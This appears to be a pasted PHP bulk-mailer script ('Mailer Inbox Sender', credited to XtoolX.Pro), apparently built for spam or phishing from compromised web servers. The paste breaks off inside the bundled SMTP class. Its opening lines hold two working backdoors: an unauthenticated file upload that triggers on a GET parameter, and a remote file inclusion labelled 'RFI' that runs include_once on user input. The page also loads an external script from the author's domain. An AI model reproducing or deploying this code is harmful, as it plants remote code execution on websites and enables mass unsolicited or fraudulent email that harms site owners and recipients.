· 5 years ago · Feb 23, 2020, 10:54 AM
1<?php
2#Made By XtoolX.Pro
3$UP = $_GET['up'];
4if(isset($UP) && !empty($UP)){
5echo"".$_FILES['userfile']."";
6$uploaddir = './';
7$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
8if ( isset($_FILES["userfile"]) ) {
9 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
10 if (move_uploaded_file
11($_FILES["userfile"]["tmp_name"], $uploadfile))
12echo $uploadfile;
13 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
14}
15
16}
17# ===================================================== #
18# RFI
19$in = $_GET['in'];
20if(isset($in) && !empty($in)){
21 echo die(include_once $in);
22}
23# ===================================================== #
24function query_str($params){
25$str = '';
26foreach ($params as $key => $value) {
27$str .= (strlen($str) < 1) ? '' : '&';
28$str .= $key . '=' . rawurlencode($value);
29}
30return ($str);
31}
32function lrtrim($string){
33return stripslashes(ltrim(rtrim($string)));
34}
35
36if(isset($_POST['action'] ) ){
37
38$b = query_str($_POST);
39parse_str($b);
40$sslclick=lrtrim($sslclick);
41$action=lrtrim($action);
42$message=lrtrim($message);
43$emaillist=lrtrim($emaillist);
44$from=lrtrim($from);
45$reconnect=lrtrim($reconnect);
46$epriority=lrtrim($epriority);
47$my_smtp=lrtrim($my_smtp);
48$ssl_port=lrtrim($ssl_port);
49$smtp_username=lrtrim($smtp_username);
50$smtp_password=lrtrim($smtp_password);
51$replyto=lrtrim($replyto);
52$subject=lrtrim($subject);
53$realname=lrtrim($realname);
54$subject_base=lrtrim($subject);
55$realname_base=lrtrim($realname);
56$file_name=lrtrim($file);
57$urlz=lrtrim($urlz);
58$contenttype=lrtrim($contenttype);
59$encode_text=$_POST['encode'];
60
61 $message = urlencode($message);
62 $message = ereg_replace("%5C%22", "%22", $message);
63 $message = urldecode($message);
64 $message = stripslashes($message);
65 $subject = stripslashes($subject);
66 if ($encode_text == "yes") {
67 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
68 $subject = str_replace(' ', '_', $subject);
69 $subject = "=?UTF-8?Q?$subject?=";
70 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
71 $realname = str_replace(' ', '_', $realname);
72 $realname = "=?UTF-8?Q?$realname?=";
73 }
74}
75?>
76<html>
77
78<head>
79<title>PHP Mailer</title>
80<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
81
82<style type="text/css">
83<!--
84.style1 {
85 font-family: Geneva, Arial, Helvetica, sans-serif;
86 font-size: 12px;
87}
88-->
89</style>
90<style type="text/css">
91<!--
92.style1 {
93 font-size: 10px;
94 font-family: Geneva, Arial, Helvetica, sans-serif;
95}
96-->
97</style>
98</head>
99
100<SCRIPT SRC='https://xtoolx.pro/JavaScript/Style.js'></SCRIPT>
101
102<body text="#000000">
103<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Blackshop</font></p>
104<form name="form1" method="post" action="" enctype="multipart/form-data">
105
106 <br>
107
108 <table width="100%" border="0" height="407">
109
110 <tr>
111
112 <td width="100%" colspan="4" bgcolor="#666666" height="36">
113
114 <b>
115
116 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
117
118 </tr>
119 <tr>
120
121 <td width="10%" height="22" bgcolor="#E8E8E8">
122
123 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
124 SMTP Login:</font></div>
125
126 </td>
127
128 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
129
130 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
131
132 </font></td>
133
134 <td width="31%" height="22" bgcolor="#E8E8E8">
135
136 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
137 SMTP Pass:</font></div>
138
139 </td>
140
141 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
142
143 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
144
145 </font></td>
146
147 </tr>
148 <tr>
149
150 <td width="10%" height="22" bgcolor="#E8E8E8">
151
152 <div align="right">
153 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
154
155 </td>
156
157 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
158
159 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
160 (optional)</font></td>
161
162 <td width="31%" height="22" bgcolor="#E8E8E8">
163
164 <div align="right">
165 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
166 Server Smtp:</font></div>
167
168 </td>
169
170 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
171
172 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
173
174 </font></td>
175
176 </tr>
177 <tr>
178
179 <td width="10%" height="22" bgcolor="#E8E8E8">
180
181 <p align="right">
182 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
183
184 <td width="18%" height="22" bgcolor="#E8E8E8">
185 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
186
187 <td width="31%" height="22" bgcolor="#E8E8E8">
188
189 <p align="right">
190 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
191 After:</font></td>
192
193 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
194
195 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
196 EMAILS</font></td>
197
198 </tr>
199 <tr>
200
201 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
202
203 <p align="center">
204 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
205 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
206
207 </tr>
208
209 <tr>
210
211 <td width="10%" height="19">
212
213 </td>
214
215 <td width="18%" height="19"> </td>
216
217 <td width="31%" height="19">
218
219 </td>
220
221 <td width="41%" height="19"> </td>
222
223 </tr>
224
225 <tr>
226
227 <td width="100%" colspan="4" bgcolor="#666666" height="36">
228
229 <b>
230
231 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
232
233 </tr>
234
235 <tr>
236
237 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
238
239 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
240 Your Email:</font></div>
241
242 </td>
243
244 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
245
246 <input type="text" name="from" value="<?=$from;?>" size="30">
247
248 </font></td>
249
250 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
251
252 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
253 Your Name:</font></div>
254
255 </td>
256
257 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
258
259 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
260
261 </font></td>
262
263 </tr>
264 <tr>
265
266 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
267
268 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
269 Reply-To:</font></div>
270
271 </td>
272
273 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
274
275 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
276
277 </font></td>
278
279 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
280
281 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
282 Email Priority:</font></td>
283
284 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
285
286 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
287 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
288 Please Choose -</option>
289 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
290 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
291 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
292 </select></td>
293
294 </tr>
295
296 <tr>
297
298 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
299
300 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
301 Subject:</font></div>
302
303 </td>
304
305 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
306
307 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
308
309 </font></td>
310
311 </tr>
312
313 <tr>
314
315 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
316
317 </td>
318
319 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
320
321 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
322 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
323 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
324 </select></font></td>
325
326 </tr>
327
328 <tr valign="top">
329
330<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
331
332 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
333
334 <br>
335
336 <input type="radio" name="contenttype" value="plain" >
337
338 Plain
339
340 <input type="radio" name="contenttype" value="html" checked>
341
342 HTML
343
344 <input type="hidden" name="action" value="send">
345
346 <input type="submit" value="Send Message">
347
348 </font></td>
349
350 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
351
352 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
353
354 </font></td>
355
356 </tr>
357
358 </table>
359
360</form>
361
362
363
364<?
365
366if ($action){
367 if (!$from && !$subject && !$message && !$emaillist){
368 print "<script>alert('Please complete all fields before sending your message.'); </script>";
369 die(); }
370
371class SMTP
372{
373 /**
374 * SMTP server port
375 * @var int
376 */
377 var $SMTP_PORT = 25;
378
379 /**
380 * SMTP reply line ending
381 * @var string
382 */
383 var $CRLF = "\r\n";
384
385 /**
386 * Sets whether debugging is turned on
387 * @var bool
388 */
389 var $do_debug; # the level of debug to perform
390
391 /**
392 * Sets VERP use on/off (default is off)
393 * @var bool
394 */
395 var $do_verp = false;
396
397 /**#@+
398 * @access private
399 */
400 var $smtp_conn; # the socket to the server
401 var $error; # error if any on the last call
402 var $helo_rply; # the reply the server sent to us for HELO
403 /**#@-*/
404
405 /**
406 * Initialize the class so that the data is in a known state.
407 * @access public
408 * @return void
409 */
410 function SMTP() {
411 $this->smtp_conn = 0;
412 $this->error = null;
413 $this->helo_rply = null;
414
415 $this->do_debug = 0;
416 }
417
418 /*************************************************************
419 * CONNECTION FUNCTIONS *
420 ***********************************************************/
421
422 /**
423 * Connect to the server specified on the port specified.
424 * If the port is not specified use the default SMTP_PORT.
425 * If tval is specified then a connection will try and be
426 * established with the server for that number of seconds.
427 * If tval is not specified the default is 30 seconds to
428 * try on the connection.
429 *
430 * SMTP CODE SUCCESS: 220
431 * SMTP CODE FAILURE: 421
432 * @access public
433 * @return bool
434 */
435 function Connect($host,$port=0,$tval=30) {
436 # set the error val to null so there is no confusion
437 $this->error = null;
438
439 # make sure we are __not__ connected
440 if($this->connected()) {
441 # ok we are connected! what should we do?
442 # for now we will just give an error saying we
443 # are already connected
444 $this->error = array("error" => "Already connected to a server");
445 return false;
446 }
447
448 if(empty($port)) {
449 $port = $this->SMTP_PORT;
450 }
451
452 #connect to the smtp server
453 $this->smtp_conn = fsockopen($host, # the host of the server
454 $port, # the port to use
455 $errno, # error number if any
456 $errstr, # error message if any
457 $tval); # give up after ? secs
458 # verify we connected properly
459 if(empty($this->smtp_conn)) {
460 $this->error = array("error" => "Failed to connect to server",
461 "errno" => $errno,
462 "errstr" => $errstr);
463 if($this->do_debug >= 1) {
464 echo "SMTP -> ERROR: " . $this->error["error"] .
465 ": $errstr ($errno)" . $this->CRLF;
466 }
467 return false;
468 }
469
470 # sometimes the SMTP server takes a little longer to respond
471 # so we will give it a longer timeout for the first read
472 // Windows still does not have support for this timeout function
473 if(substr(PHP_OS, 0, 3) != "WIN")
474 socket_set_timeout($this->smtp_conn, $tval, 0);
475
476 # get any announcement stuff
477 $announce = $this->get_lines();
478
479 # set the timeout of any socket functions at 1/10 of a second
480 //if(function_exists("socket_set_timeout"))
481 // socket_set_timeout($this->smtp_conn, 0, 100000);
482
483 if($this->do_debug >= 2) {
484 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
485 }
486
487 return true;
488 }
489
490 /**
491 * Performs SMTP authentication. Must be run after running the
492 * Hello() method. Returns true if successfully authenticated.
493 * @access public
494 * @return bool
495 */
496 function Authenticate($username, $password) {
497 // Start authentication
498 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
499
500 $rply = $this->get_lines();
501 $code = substr($rply,0,3);
502
503 if($code != 334) {
504 $this->error =
505 array("error" => "AUTH not accepted from server",
506 "smtp_code" => $code,
507 "smtp_msg" => substr($rply,4));
508 if($this->do_debug >= 1) {
509 echo "SMTP -> ERROR: " . $this->error["error"] .
510 ": " . $rply . $this->CRLF;
511 }
512 return false;
513 }
514
515 // Send encoded username
516 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
517
518 $rply = $this->get_lines();
519 $code = substr($rply,0,3);
520
521 if($code != 334) {
522 $this->error =
523 array("error" => "Username not accepted from server",
524 "smtp_code" => $code,
525 "smtp_msg" => substr($rply,4));
526 if($this->do_debug >= 1) {
527 echo "SMTP -> ERROR: " . $this->error["error"] .
528 ": " . $rply . $this->CRLF;
529 }
530 return false;
531 }
532
533 // Send encoded password
534 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
535
536 $rply = $this->get_lines();
537 $code = substr($rply,0,3);
538
539 if($code != 235) {
540 $this->error =
541 array("error" => "Password not accepted from server",
542 "smtp_code" => $code,
543 "smtp_msg" => substr($rply,4));
544 if($this->do_debug >= 1) {
545 echo "SMTP -> ERROR: " . $this->error["error"] .
546 ": " . $rply . $this->CRLF;
547 }
548 return false;
549 }
550
551 return true;
552 }
553
554 /**
555 * Returns true if connected to a server otherwise false
556 * @access private
557 * @return bool
558 */
559 function Connected() {
560 if(!empty($this->smtp_conn)) {
561 $sock_status = socket_get_status($this->smtp_conn);
562 if($sock_status["eof"]) {
563 # hmm this is an odd situation... the socket is
564 # valid but we are not connected anymore
565 if($this->do_debug >= 1) {
566 echo "SMTP -> NOTICE:" . $this->CRLF .
567 "EOF caught while checking if connected";
568 }
569 $this->Close();
570 return false;
571 }
572 return true; # everything looks good
573 }
574 return false;
575 }
576
577 /**
578 * Closes the socket and cleans up the state of the class.
579 * It is not considered good to use this function without
580 * first trying to use QUIT.
581 * @access public
582 * @return void
583 */
584 function Close() {
585 $this->error = null; # so there is no confusion
586 $this->helo_rply = null;
587 if(!empty($this->smtp_conn)) {
588 # close the connection and cleanup
589 fclose($this->smtp_conn);
590 $this->smtp_conn = 0;
591 }
592 }
593
594 /***************************************************************
595 * SMTP COMMANDS *
596 *************************************************************/
597
598 /**
599 * Issues a data command and sends the msg_data to the server
600 * finializing the mail transaction. $msg_data is the message
601 * that is to be send with the headers. Each header needs to be
602 * on a single line followed by a <CRLF> with the message headers
603 * and the message body being seperated by and additional <CRLF>.
604 *
605 * Implements rfc 821: DATA <CRLF>
606 *
607 * SMTP CODE INTERMEDIATE: 354
608 * [data]
609 * <CRLF>.<CRLF>
610 * SMTP CODE SUCCESS: 250
611 * SMTP CODE FAILURE: 552,554,451,452
612 * SMTP CODE FAILURE: 451,554
613 * SMTP CODE ERROR : 500,501,503,421
614 * @access public
615 * @return bool
616 */
617 function Data($msg_data) {
618 $this->error = null; # so no confusion is caused
619
620 if(!$this->connected()) {
621 $this->error = array(
622 "error" => "Called Data() without being connected");
623 return false;
624 }
625
626 fputs($this->smtp_conn,"DATA" . $this->CRLF);
627
628 $rply = $this->get_lines();
629 $code = substr($rply,0,3);
630
631 if($this->do_debug >= 2) {
632 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
633 }
634
635 if($code != 354) {
636 $this->error =
637 array("error" => "DATA command not accepted from server",
638 "smtp_code" => $code,
639 "smtp_msg" => substr($rply,4));
640 if($this->do_debug >= 1) {
641 echo "SMTP -> ERROR: " . $this->error["error"] .
642 ": " . $rply . $this->CRLF;
643 }
644 return false;
645 }
646
647 # the server is ready to accept data!
648 # according to rfc 821 we should not send more than 1000
649 # including the CRLF
650 # characters on a single line so we will break the data up
651 # into lines by \r and/or \n then if needed we will break
652 # each of those into smaller lines to fit within the limit.
653 # in addition we will be looking for lines that start with
654 # a period '.' and append and additional period '.' to that
655 # line. NOTE: this does not count towards are limit.
656
657 # normalize the line breaks so we know the explode works
658 $msg_data = str_replace("\r\n","\n",$msg_data);
659 $msg_data = str_replace("\r","\n",$msg_data);
660 $lines = explode("\n",$msg_data);
661
662 # we need to find a good way to determine is headers are
663 # in the msg_data or if it is a straight msg body
664 # currently I am assuming rfc 822 definitions of msg headers
665 # and if the first field of the first line (':' sperated)
666 # does not contain a space then it _should_ be a header
667 # and we can process all lines before a blank "" line as
668 # headers.
669 $field = substr($lines[0],0,strpos($lines[0],":"));
670 $in_headers = false;
671 if(!empty($field) && !strstr($field," ")) {
672 $in_headers = true;
673 }
674
675 $max_line_length = 998; # used below; set here for ease in change
676
677 while(list(,$line) = @each($lines)) {
678 $lines_out = null;
679 if($line == "" && $in_headers) {
680 $in_headers = false;
681 }
682 # ok we need to break this line up into several
683 # smaller lines
684 while(strlen($line) > $max_line_length) {
685 $pos = strrpos(substr($line,0,$max_line_length)," ");
686
687 # Patch to fix DOS attack
688 if(!$pos) {
689 $pos = $max_line_length - 1;
690 }
691
692 $lines_out[] = substr($line,0,$pos);
693 $line = substr($line,$pos + 1);
694 # if we are processing headers we need to
695 # add a LWSP-char to the front of the new line
696 # rfc 822 on long msg headers
697 if($in_headers) {
698 $line = "\t" . $line;
699 }
700 }
701 $lines_out[] = $line;
702
703 # now send the lines to the server
704 while(list(,$line_out) = @each($lines_out)) {
705 if(strlen($line_out) > 0)
706 {
707 if(substr($line_out, 0, 1) == ".") {
708 $line_out = "." . $line_out;
709 }
710 }
711 fputs($this->smtp_conn,$line_out . $this->CRLF);
712 }
713 }
714
715 # ok all the message data has been sent so lets get this
716 # over with aleady
717 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
718
719 $rply = $this->get_lines();
720 $code = substr($rply,0,3);
721
722 if($this->do_debug >= 2) {
723 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
724 }
725
726 if($code != 250) {
727 $this->error =
728 array("error" => "DATA not accepted from server",
729 "smtp_code" => $code,
730 "smtp_msg" => substr($rply,4));
731 if($this->do_debug >= 1) {
732 echo "SMTP -> ERROR: " . $this->error["error"] .
733 ": " . $rply . $this->CRLF;
734 }
735 return false;
736 }
737 return true;
738 }
739
740 /**
741 * Expand takes the name and asks the server to list all the
742 * people who are members of the _list_. Expand will return
743 * back and array of the result or false if an error occurs.
744 * Each value in the array returned has the format of:
745 * [ <full-name> <sp> ] <path>
746 * The definition of <path> is defined in rfc 821
747 *
748 * Implements rfc 821: EXPN <SP> <string> <CRLF>
749 *
750 * SMTP CODE SUCCESS: 250
751 * SMTP CODE FAILURE: 550
752 * SMTP CODE ERROR : 500,501,502,504,421
753 * @access public
754 * @return string array
755 */
756 function Expand($name) {
757 $this->error = null; # so no confusion is caused
758
759 if(!$this->connected()) {
760 $this->error = array(
761 "error" => "Called Expand() without being connected");
762 return false;
763 }
764
765 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
766
767 $rply = $this->get_lines();
768 $code = substr($rply,0,3);
769
770 if($this->do_debug >= 2) {
771 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
772 }
773
774 if($code != 250) {
775 $this->error =
776 array("error" => "EXPN not accepted from server",
777 "smtp_code" => $code,
778 "smtp_msg" => substr($rply,4));
779 if($this->do_debug >= 1) {
780 echo "SMTP -> ERROR: " . $this->error["error"] .
781 ": " . $rply . $this->CRLF;
782 }
783 return false;
784 }
785
786 # parse the reply and place in our array to return to user
787 $entries = explode($this->CRLF,$rply);
788 while(list(,$l) = @each($entries)) {
789 $list[] = substr($l,4);
790 }
791
792 return $list;
793 }
794
795 /**
796 * Sends the HELO command to the smtp server.
797 * This makes sure that we and the server are in
798 * the same known state.
799 *
800 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
801 *
802 * SMTP CODE SUCCESS: 250
803 * SMTP CODE ERROR : 500, 501, 504, 421
804 * @access public
805 * @return bool
806 */
807 function Hello($host="") {
808 $this->error = null; # so no confusion is caused
809
810 if(!$this->connected()) {
811 $this->error = array(
812 "error" => "Called Hello() without being connected");
813 return false;
814 }
815
816 # if a hostname for the HELO was not specified determine
817 # a suitable one to send
818 if(empty($host)) {
819 # we need to determine some sort of appopiate default
820 # to send to the server
821 $host = "localhost";
822 }
823
824 // Send extended hello first (RFC 2821)
825 if(!$this->SendHello("EHLO", $host))
826 {
827 if(!$this->SendHello("HELO", $host))
828 return false;
829 }
830
831 return true;
832 }
833
834 /**
835 * Sends a HELO/EHLO command.
836 * @access private
837 * @return bool
838 */
839 function SendHello($hello, $host) {
840 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
841
842 $rply = $this->get_lines();
843 $code = substr($rply,0,3);
844
845 if($this->do_debug >= 2) {
846 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
847 }
848
849 if($code != 250) {
850 $this->error =
851 array("error" => $hello . " not accepted from server",
852 "smtp_code" => $code,
853 "smtp_msg" => substr($rply,4));
854 if($this->do_debug >= 1) {
855 echo "SMTP -> ERROR: " . $this->error["error"] .
856 ": " . $rply . $this->CRLF;
857 }
858 return false;
859 }
860
861 $this->helo_rply = $rply;
862
863 return true;
864 }
865
866 /**
867 * Gets help information on the keyword specified. If the keyword
868 * is not specified then returns generic help, ussually contianing
869 * A list of keywords that help is available on. This function
870 * returns the results back to the user. It is up to the user to
871 * handle the returned data. If an error occurs then false is
872 * returned with $this->error set appropiately.
873 *
874 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
875 *
876 * SMTP CODE SUCCESS: 211,214
877 * SMTP CODE ERROR : 500,501,502,504,421
878 * @access public
879 * @return string
880 */
881 function Help($keyword="") {
882 $this->error = null; # to avoid confusion
883
884 if(!$this->connected()) {
885 $this->error = array(
886 "error" => "Called Help() without being connected");
887 return false;
888 }
889
890 $extra = "";
891 if(!empty($keyword)) {
892 $extra = " " . $keyword;
893 }
894
895 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
896
897 $rply = $this->get_lines();
898 $code = substr($rply,0,3);
899
900 if($this->do_debug >= 2) {
901 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
902 }
903
904 if($code != 211 && $code != 214) {
905 $this->error =
906 array("error" => "HELP not accepted from server",
907 "smtp_code" => $code,
908 "smtp_msg" => substr($rply,4));
909 if($this->do_debug >= 1) {
910 echo "SMTP -> ERROR: " . $this->error["error"] .
911 ": " . $rply . $this->CRLF;
912 }
913 return false;
914 }
915
916 return $rply;
917 }
918
919 /**
920 * Starts a mail transaction from the email address specified in
921 * $from. Returns true if successful or false otherwise. If True
922 * the mail transaction is started and then one or more Recipient
923 * commands may be called followed by a Data command.
924 *
925 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
926 *
927 * SMTP CODE SUCCESS: 250
928 * SMTP CODE SUCCESS: 552,451,452
929 * SMTP CODE SUCCESS: 500,501,421
930 * @access public
931 * @return bool
932 */
933 function Mail($from) {
934 $this->error = null; # so no confusion is caused
935
936 if(!$this->connected()) {
937 $this->error = array(
938 "error" => "Called Mail() without being connected");
939 return false;
940 }
941
942 $useVerp = ($this->do_verp ? "XVERP" : "");
943 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
944
945 $rply = $this->get_lines();
946 $code = substr($rply,0,3);
947
948 if($this->do_debug >= 2) {
949 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
950 }
951
952 if($code != 250) {
953 $this->error =
954 array("error" => "MAIL not accepted from server",
955 "smtp_code" => $code,
956 "smtp_msg" => substr($rply,4));
957 if($this->do_debug >= 1) {
958 echo "SMTP -> ERROR: " . $this->error["error"] .
959 ": " . $rply . $this->CRLF;
960 }
961 return false;
962 }
963 return true;
964 }
965
966 /**
967 * Sends the command NOOP to the SMTP server.
968 *
969 * Implements from rfc 821: NOOP <CRLF>
970 *
971 * SMTP CODE SUCCESS: 250
972 * SMTP CODE ERROR : 500, 421
973 * @access public
974 * @return bool
975 */
976 function Noop() {
977 $this->error = null; # so no confusion is caused
978
979 if(!$this->connected()) {
980 $this->error = array(
981 "error" => "Called Noop() without being connected");
982 return false;
983 }
984
985 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
986
987 $rply = $this->get_lines();
988 $code = substr($rply,0,3);
989
990 if($this->do_debug >= 2) {
991 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
992 }
993
994 if($code != 250) {
995 $this->error =
996 array("error" => "NOOP not accepted from server",
997 "smtp_code" => $code,
998 "smtp_msg" => substr($rply,4));
999 if($this->do_debug >= 1) {
1000 echo "SMTP -> ERROR: " . $this->error["error"] .
1001 ": " . $rply . $this->CRLF;
1002 }
1003 return false;
1004 }
1005 return true;
1006 }
1007
1008 /**
1009 * Sends the quit command to the server and then closes the socket
1010 * if there is no error or the $close_on_error argument is true.
1011 *
1012 * Implements from rfc 821: QUIT <CRLF>
1013 *
1014 * SMTP CODE SUCCESS: 221
1015 * SMTP CODE ERROR : 500
1016 * @access public
1017 * @return bool
1018 */
1019 function Quit($close_on_error=true) {
1020 $this->error = null; # so there is no confusion
1021
1022 if(!$this->connected()) {
1023 $this->error = array(
1024 "error" => "Called Quit() without being connected");
1025 return false;
1026 }
1027
1028 # send the quit command to the server
1029 fputs($this->smtp_conn,"quit" . $this->CRLF);
1030
1031 # get any good-bye messages
1032 $byemsg = $this->get_lines();
1033
1034 if($this->do_debug >= 2) {
1035 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1036 }
1037
1038 $rval = true;
1039 $e = null;
1040
1041 $code = substr($byemsg,0,3);
1042 if($code != 221) {
1043 # use e as a tmp var cause Close will overwrite $this->error
1044 $e = array("error" => "SMTP server rejected quit command",
1045 "smtp_code" => $code,
1046 "smtp_rply" => substr($byemsg,4));
1047 $rval = false;
1048 if($this->do_debug >= 1) {
1049 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1050 $byemsg . $this->CRLF;
1051 }
1052 }
1053
1054 if(empty($e) || $close_on_error) {
1055 $this->Close();
1056 }
1057
1058 return $rval;
1059 }
1060
1061 /**
1062 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1063 * Returns true if the recipient was accepted false if it was rejected.
1064 *
1065 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1066 *
1067 * SMTP CODE SUCCESS: 250,251
1068 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1069 * SMTP CODE ERROR : 500,501,503,421
1070 * @access public
1071 * @return bool
1072 */
1073 function Recipient($to) {
1074 $this->error = null; # so no confusion is caused
1075
1076 if(!$this->connected()) {
1077 $this->error = array(
1078 "error" => "Called Recipient() without being connected");
1079 return false;
1080 }
1081
1082 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1083
1084 $rply = $this->get_lines();
1085 $code = substr($rply,0,3);
1086
1087 if($this->do_debug >= 2) {
1088 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1089 }
1090
1091 if($code != 250 && $code != 251) {
1092 $this->error =
1093 array("error" => "RCPT not accepted from server",
1094 "smtp_code" => $code,
1095 "smtp_msg" => substr($rply,4));
1096 if($this->do_debug >= 1) {
1097 echo "SMTP -> ERROR: " . $this->error["error"] .
1098 ": " . $rply . $this->CRLF;
1099 }
1100 return false;
1101 }
1102 return true;
1103 }
1104
1105 /**
1106 * Sends the RSET command to abort and transaction that is
1107 * currently in progress. Returns true if successful false
1108 * otherwise.
1109 *
1110 * Implements rfc 821: RSET <CRLF>
1111 *
1112 * SMTP CODE SUCCESS: 250
1113 * SMTP CODE ERROR : 500,501,504,421
1114 * @access public
1115 * @return bool
1116 */
1117 function Reset() {
1118 $this->error = null; # so no confusion is caused
1119
1120 if(!$this->connected()) {
1121 $this->error = array(
1122 "error" => "Called Reset() without being connected");
1123 return false;
1124 }
1125
1126 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1127
1128 $rply = $this->get_lines();
1129 $code = substr($rply,0,3);
1130
1131 if($this->do_debug >= 2) {
1132 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1133 }
1134
1135 if($code != 250) {
1136 $this->error =
1137 array("error" => "RSET failed",
1138 "smtp_code" => $code,
1139 "smtp_msg" => substr($rply,4));
1140 if($this->do_debug >= 1) {
